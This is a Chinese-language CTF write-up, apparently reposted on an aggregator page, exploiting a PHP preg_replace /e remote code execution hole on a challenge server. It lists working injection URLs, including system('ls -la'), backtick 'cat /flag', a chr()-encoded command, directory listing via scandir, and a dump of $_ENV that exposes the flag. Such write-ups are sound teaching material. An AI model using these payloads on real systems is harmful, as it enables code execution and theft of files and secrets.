当前位置: 首页 > news >正文

【CTF-WEB-PHP】PHP查看目录结构及环境变量

题目

Flag寻找过程详细记录

目标网址

http://challenge.qsnctf.com:34147/

漏洞分析

页面源代码

当访问目标网址时,页面显示了以下PHP代码:

<?phphighlight_file(__FILE__);$input=$_GET['data'];echopreg_replace("/(.*)/e","\\1",$input);?>

漏洞识别

这段代码存在一个典型的preg_replace /e模式代码执行漏洞

漏洞原理详解
  1. preg_replace函数:用于执行正则表达式的搜索和替换

    • 语法:preg_replace(pattern, replacement, subject)
    • pattern:正则表达式模式
    • replacement:替换字符串
    • subject:要搜索替换的目标字符串
  2. /e修饰符

    • 这是一个危险的修饰符,允许将replacement参数作为PHP代码执行
    • 在PHP 7.0及以上版本中已被移除,因为它会导致严重的安全问题
  3. 正则表达式/(.*)/

    • /:正则表达式的定界符
    • .:匹配任意字符(除了换行符)
    • *:匹配前面的字符0次或多次
    • 整个模式/.*?/会匹配输入的所有内容
  4. 替换字符串\\1

    • \\1表示第一个捕获组的内容
    • 由于正则表达式/(.*)/只有一个捕获组,且匹配了所有内容
    • 因此\\1会被替换为用户输入的$input内容
  5. 最终效果

    • preg_replace执行时,它会先匹配用户输入的所有内容
    • 然后将替换字符串\\1替换为用户输入的内容
    • 由于/e修饰符的存在,替换后的字符串会被作为PHP代码执行
    • 因此,用户可以通过$input参数执行任意PHP代码

示例

  • 如果用户输入data=phpinfo()
  • preg_replace会执行:preg_replace("/(.*)/e", "phpinfo()", "phpinfo()")
  • 最终会执行phpinfo()函数,输出PHP配置信息

利用过程

1. 验证漏洞存在

首先,我使用简单的PHP函数来验证漏洞是否存在:

请求URL

http://challenge.qsnctf.com:34147/?data=getcwd()

预期结果:返回当前工作目录
实际结果:成功返回/var/www/html,确认漏洞存在

2. 尝试直接读取文件

尝试1:直接使用file_get_contents读取/flag

请求URL

http://challenge.qsnctf.com:34147/?data=file_get_contents('/flag')

结果:语法错误,单引号被转义

尝试2:使用双引号

请求URL

http://challenge.qsnctf.com:34147/?data=file_get_contents("/flag")

结果:语法错误,双引号也被转义

尝试3:使用readfile函数

请求URL

http://challenge.qsnctf.com:34147/?data=readfile(/flag)

结果:语法错误,斜杠导致解析问题

尝试4:使用include函数

请求URL

http://challenge.qsnctf.com:34147/?data=include(/flag)

结果:语法错误,斜杠导致解析问题

3. 尝试执行系统命令

尝试1:使用system函数

请求URL

http://challenge.qsnctf.com:34147/?data=system('ls -la')

结果:连接中断,可能命令被限制

尝试2:使用反引号执行shell命令

请求URL

http://challenge.qsnctf.com:34147/?data=`cat /flag`

结果:连接中断

尝试3:使用chr()函数构造命令

请求URL

http://challenge.qsnctf.com:34147/?data=system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))

结果:连接中断

代码解释
这段代码使用了PHP的chr()函数来构造shell命令,避免直接使用引号,从而绕过引号转义问题。

  • chr()函数:将ASCII码转换为对应的字符
  • .运算符:连接字符串

详细分解

函数调用ASCII码对应的字符组合后
chr(99)99c开始构造命令
chr(97)97aca
chr(116)116tcat
chr(32)32空格cat
chr(47)47/cat /
chr(102)102fcat /f
chr(108)108lcat /fl
chr(97)97acat /fla
chr(103)103gcat /flag

最终构造的命令system('cat /flag')

  • system()函数:执行shell命令
  • cat /flag:Linux命令,用于查看/flag文件的内容

这种方法通过ASCII码转换来构造命令,可以绕过某些字符过滤和转义机制。

4. 查看目录结构

尝试1:查看当前目录

请求URL

http://challenge.qsnctf.com:34147/?data=print_r(scandir(dirname(__FILE__)))

结果:成功返回目录内容

Array ( [0] => . [1] => .. [2] => index.php )

结果解释
这是PHPscandir()函数返回的目录列表,以数组形式展示:

  • [0] => .表示当前目录
  • [1] => ..表示上级目录
  • [2] => index.php表示当前目录下的index.php文件
尝试2:查看上级目录

请求URL

http://challenge.qsnctf.com:34147/?data=print_r(scandir(dirname(dirname(__FILE__))))

结果:成功返回上级目录内容

Array ( [0] => . [1] => .. [2] => html [3] => localhost )

结果解释

  • [0] => .表示当前目录(此时是/var/www
  • [1] => ..表示上级目录(/var
  • [2] => html表示/var/www/html目录,是我们的网站根目录
  • [3] => localhost表示/var/www/localhost目录,是另一个网站目录

scandir()函数用于获取指定目录中的文件和子目录列表,print_r()函数用于格式化输出数组内容。

5. 查看环境变量(最终成功)

由于直接读取文件和执行系统命令都遇到了问题,我尝试查看环境变量,因为flag有时会设置在环境变量中。

请求URL

http://challenge.qsnctf.com:34147/?data=var_dump($_ENV)

代码解释

  • var_dump()函数:用于打印变量的详细信息,包括类型和值
  • $_ENV:PHP预定义超全局变量,包含了当前环境的所有环境变量

结果:成功返回环境变量,其中包含flag信息!

最终结果

在环境变量中找到了flag:

["FLAG"]=> string(40) "qsnctf{0882c2c003394a07b767c6171e4b86bc}"

结果解释

  • ["FLAG"]:环境变量的名称为FLAG
  • string(40):该环境变量的值是一个字符串,长度为40个字符
  • "qsnctf{0882c2c003394a07b767c6171e4b86bc}":环境变量的具体值,也就是我们要找的flag

最终Flagqsnctf{0882c2c003394a07b767c6171e4b86bc}

环境变量的作用
环境变量是操作系统或应用程序中用于存储配置信息的变量。在容器化部署中(如Docker),经常会通过环境变量来传递敏感信息,因为这样可以避免将敏感信息硬编码到代码中。在这个案例中,管理员就是将flag存储在了FLAG环境变量中。

总结

  1. 该漏洞是典型的preg_replace /e模式代码执行漏洞
  2. 利用过程中遇到了各种限制,包括引号转义、命令执行限制等
  3. 最终通过查看环境变量成功获取了flag
  4. 这个案例展示了在渗透测试中需要尝试多种方法,灵活应对各种限制

参考链接

  • PHP preg_replace 官方文档
  • OWASP 代码执行漏洞防护
http://www.jsqmd.com/news/1273304/

相关文章:

  • 2026灞桥区少儿吉他培训考级哪家好 靠谱机构精选 - 谁都没有我好看
  • 解锁音乐自由:QMCDecode实现QQ音乐加密格式高效转换的专业解决方案
  • SankeyMATIC免费桑基图制作终极指南:5分钟创建专业数据流程图
  • AI论文降重工具实测:从99%降至5%的实战方案
  • SimpleNES技术演进路径深度解析:从基础模拟到高精度仿真的未来展望
  • 2026成都锦江闲置黄金出金实录:多年老店,分享稳妥回收渠道 - 逸程奢侈品回收中心
  • 鸿蒙应用开发从入门到实战(七):ArkTS组件声明语法
  • AWS SQS与Lambda事件源映射架构实践指南
  • 深入解析TBB任务调度与并发容器:C++高性能并行编程实战
  • Unity集成OpenCVForUnity:从安装到实时图像处理实践指南
  • 马斯克评价Anthropic团队善意满满:AI安全与宪法AI技术实践解析
  • Sunshine游戏串流终极指南:从零搭建你的跨平台游戏云
  • 长沙闲置黄金出手攻略,资质齐全无隐形收费,全域上门全天候接单回款 - 好物测评局
  • 终极网盘直链解析工具:一键解锁高速下载,告别限速烦恼
  • 淘淇黄金回收领衔德宏 6 家店,这金价太香,钱包瞬间鼓起来 - 淘淇黄金回收
  • ASCII编码
  • 深入解析ARM Cortex-M系统控制模块:时钟、功耗与实战配置
  • MySQL实战入门:从Docker环境搭建到索引事务核心原理
  • 终极指南:如何高效使用tochd工具将游戏ISO转换为CHD格式
  • 龙芯3B6000安装Docker 29.5.1+:从RPM仓库获取最高可用稳定版
  • 【CTF-MISC-DOCX】压缩包存放DOCX文档损坏了
  • Matlab实现海港综合能源系统协同优化调度
  • DWA与速度障碍法融合的机器人导航算法优化
  • GRU门控循环单元:原理、实现与应用全解析
  • OpenCode与Kimi K3本地部署实战:代码生成工具环境配置与性能优化指南
  • 2026年GEO服务商横评:如何基于阶梯式评估模型选择工具?
  • YOLO算法在工业机械器件识别中的应用与优化
  • C++数据类型转换
  • 广州卖黄金避开中间商差价!这家回收全市最高价,囤金批量出手多赚钱 - 好物测评局
  • Wukong AICRM Docker部署全攻略:从环境准备到运维实践